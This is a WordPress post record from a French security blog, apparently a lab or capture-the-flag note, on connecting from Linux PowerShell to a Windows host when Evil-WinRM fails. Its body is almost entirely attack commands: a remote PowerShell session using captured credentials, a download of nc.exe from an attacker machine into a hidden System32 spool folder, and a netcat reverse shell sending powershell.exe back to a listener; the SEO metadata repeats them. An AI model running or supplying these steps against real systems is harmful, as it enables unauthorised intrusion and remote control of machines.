{"id":289,"date":"2021-05-28T17:28:35","date_gmt":"2021-05-28T22:28:35","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=289"},"modified":"2021-05-28T22:18:48","modified_gmt":"2021-05-29T03:18:48","slug":"installer-powershell-sur-et-se-connecter-sur-windows","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/05\/28\/installer-powershell-sur-et-se-connecter-sur-windows\/","title":{"rendered":"Installer powershell sur  linux et se connecter sur Windows"},"content":{"rendered":"<p>Si Evil-WinRm ne fonctionne pas car le port 5985 n&#8217;est pas ouvert : nous pouvons utiliser Powershell pour Linux pour se connecter.<\/p>\n<p>sudo apt install gss-ntlmssp<br \/>\nsudo apt-get install powershell<\/p>\n<p>nc -nvlp 9001<br \/>\npwsh<br \/>\n$offsec_session = New-PSSession -ComputerName 10.10.10.210 -Authentication Negotiate -Credential germain<br \/>\nEnter-PSSession $offsec_session<br \/>\nPS> &#038;{ cd ..\/Desktop }<br \/>\nPS> &#038;{ ls }<br \/>\nPS> &#038;{ iwr -uri http:\/\/10.10.10.11\/nc.exe -o &#8216;C:\\Windows\\System32\\spool\\drivers\\color\\nc.exe&#8217;}<br \/>\nPS> &#038;{ cd &#8216;C:\\Windows\\System32\\spool\\drivers\\color\\&#8217;}<br \/>\nPS> &#038;{ .\/nc.exe 10.10.10.12 9001 -e powershell.exe} #Nous n&#8217;avons plus besoin d&#8217;utiliser les blocks : &#038;{ }<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Si Evil-WinRm ne fonctionne pas car le port 5985 n&#8217;est pas ouvert : nous pouvons utiliser Powershell pour Linux pour se connecter. sudo apt install gss-ntlmssp sudo apt-get install powershell nc -nvlp 9001 pwsh $offsec_session = New-PSSession -ComputerName 10.10.10.210 -Authentication Negotiate -Credential germain Enter-PSSession $offsec_session PS> &#038;{ cd ..\/Desktop } PS> &#038;{ ls } PS> &#038;{ iwr -uri http:\/\/10.10.10.11\/nc.exe -o &#8216;C:\\Windows\\System32\\spool\\drivers\\color\\nc.exe&#8217;} PS> &#038;{ cd &#8216;C:\\Windows\\System32\\spool\\drivers\\color\\&#8217;} PS> &#038;{ .\/nc.exe 10.10.10.12 9001 -e powershell.exe} #Nous n&#8217;avons plus besoin d&#8217;utiliser les blocks : &#038;{ }<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.4 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Installer powershell sur linux et se connecter sur Windows - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/05\/28\/installer-powershell-sur-et-se-connecter-sur-windows\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Installer powershell sur linux et se connecter sur Windows - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"Si Evil-WinRm ne fonctionne pas car le port 5985 n&#8217;est pas ouvert : nous pouvons utiliser Powershell pour Linux pour se connecter. sudo apt install gss-ntlmssp sudo apt-get install powershell nc -nvlp 9001 pwsh $offsec_session = New-PSSession -ComputerName 10.10.10.210 -Authentication Negotiate -Credential germain Enter-PSSession $offsec_session PS&gt; &#038;{ cd ..\/Desktop } PS&gt; &#038;{ ls } PS&gt; &#038;{ iwr -uri http:\/\/10.10.10.11\/nc.exe -o &#8216;C:WindowsSystem32spooldriverscolornc.exe&#8217;} PS&gt; &#038;{ cd &#8216;C:WindowsSystem32spooldriverscolor&#8217;} PS&gt; &#038;{ .\/nc.exe 10.10.10.12 9001 -e powershell.exe} #Nous n&#8217;avons plus besoin d&#8217;utiliser les blocks : &#038;{ }\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.searchevolution.com\/security\/2021\/05\/28\/installer-powershell-sur-et-se-connecter-sur-windows\/\" \/>\n<meta property=\"og:site_name\" content=\"S\u00e9curiser votre site\" \/>\n<meta property=\"article:published_time\" content=\"2021-05-28T22:28:35+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2021-05-29T03:18:48+00:00\" \/>\n<meta name=\"author\" content=\"Germain\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Germain\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/05\/28\/installer-powershell-sur-et-se-connecter-sur-windows\/\",\"url\":\"https:\/\/www.searchevolution.com\/security\/2021\/05\/28\/installer-powershell-sur-et-se-connecter-sur-windows\/\",\"name\":\"Installer powershell sur linux et se connecter sur Windows - S\u00e9curiser votre site\",\"isPartOf\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/#website\"},\"datePublished\":\"2021-05-28T22:28:35+00:00\",\"dateModified\":\"2021-05-29T03:18:48+00:00\",\"author\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/05\/28\/installer-powershell-sur-et-se-connecter-sur-windows\/#breadcrumb\"},\"inLanguage\":\"fr-CA\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.searchevolution.com\/security\/2021\/05\/28\/installer-powershell-sur-et-se-connecter-sur-windows\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/05\/28\/installer-powershell-sur-et-se-connecter-sur-windows\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.searchevolution.com\/security\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Installer powershell sur linux et se connecter sur Windows\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#website\",\"url\":\"https:\/\/www.searchevolution.com\/security\/\",\"name\":\"S\u00e9curiser votre site\",\"description\":\"Conna\u00eetre son ennemi\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.searchevolution.com\/security\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"fr-CA\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8\",\"name\":\"Germain\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-CA\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g\",\"caption\":\"Germain\"},\"sameAs\":[\"https:\/\/www.searchevolution.com\/security\"],\"url\":\"https:\/\/www.searchevolution.com\/security\/author\/germain\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Installer powershell sur linux et se connecter sur Windows - S\u00e9curiser votre site","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.searchevolution.com\/security\/2021\/05\/28\/installer-powershell-sur-et-se-connecter-sur-windows\/","og_locale":"fr_CA","og_type":"article","og_title":"Installer powershell sur linux et se connecter sur Windows - S\u00e9curiser votre site","og_description":"Si Evil-WinRm ne fonctionne pas car le port 5985 n&#8217;est pas ouvert : nous pouvons utiliser Powershell pour Linux pour se connecter. sudo apt install gss-ntlmssp sudo apt-get install powershell nc -nvlp 9001 pwsh $offsec_session = New-PSSession -ComputerName 10.10.10.210 -Authentication Negotiate -Credential germain Enter-PSSession $offsec_session PS> &#038;{ cd ..\/Desktop } PS> &#038;{ ls } PS> &#038;{ iwr -uri http:\/\/10.10.10.11\/nc.exe -o &#8216;C:WindowsSystem32spooldriverscolornc.exe&#8217;} PS> &#038;{ cd &#8216;C:WindowsSystem32spooldriverscolor&#8217;} PS> &#038;{ .\/nc.exe 10.10.10.12 9001 -e powershell.exe} #Nous n&#8217;avons plus besoin d&#8217;utiliser les blocks : &#038;{ }","og_url":"https:\/\/www.searchevolution.com\/security\/2021\/05\/28\/installer-powershell-sur-et-se-connecter-sur-windows\/","og_site_name":"S\u00e9curiser votre site","article_published_time":"2021-05-28T22:28:35+00:00","article_modified_time":"2021-05-29T03:18:48+00:00","author":"Germain","twitter_card":"summary_large_image","twitter_misc":{"\u00c9crit par":"Germain"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.searchevolution.com\/security\/2021\/05\/28\/installer-powershell-sur-et-se-connecter-sur-windows\/","url":"https:\/\/www.searchevolution.com\/security\/2021\/05\/28\/installer-powershell-sur-et-se-connecter-sur-windows\/","name":"Installer powershell sur linux et se connecter sur Windows - S\u00e9curiser votre site","isPartOf":{"@id":"https:\/\/www.searchevolution.com\/security\/#website"},"datePublished":"2021-05-28T22:28:35+00:00","dateModified":"2021-05-29T03:18:48+00:00","author":{"@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8"},"breadcrumb":{"@id":"https:\/\/www.searchevolution.com\/security\/2021\/05\/28\/installer-powershell-sur-et-se-connecter-sur-windows\/#breadcrumb"},"inLanguage":"fr-CA","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.searchevolution.com\/security\/2021\/05\/28\/installer-powershell-sur-et-se-connecter-sur-windows\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.searchevolution.com\/security\/2021\/05\/28\/installer-powershell-sur-et-se-connecter-sur-windows\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.searchevolution.com\/security\/"},{"@type":"ListItem","position":2,"name":"Installer powershell sur linux et se connecter sur Windows"}]},{"@type":"WebSite","@id":"https:\/\/www.searchevolution.com\/security\/#website","url":"https:\/\/www.searchevolution.com\/security\/","name":"S\u00e9curiser votre site","description":"Conna\u00eetre son ennemi","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.searchevolution.com\/security\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"fr-CA"},{"@type":"Person","@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8","name":"Germain","image":{"@type":"ImageObject","inLanguage":"fr-CA","@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g","caption":"Germain"},"sameAs":["https:\/\/www.searchevolution.com\/security"],"url":"https:\/\/www.searchevolution.com\/security\/author\/germain\/"}]}},"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/289"}],"collection":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/comments?post=289"}],"version-history":[{"count":3,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/289\/revisions"}],"predecessor-version":[{"id":305,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/289\/revisions\/305"}],"wp:attachment":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/media?parent=289"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/categories?post=289"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/tags?post=289"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}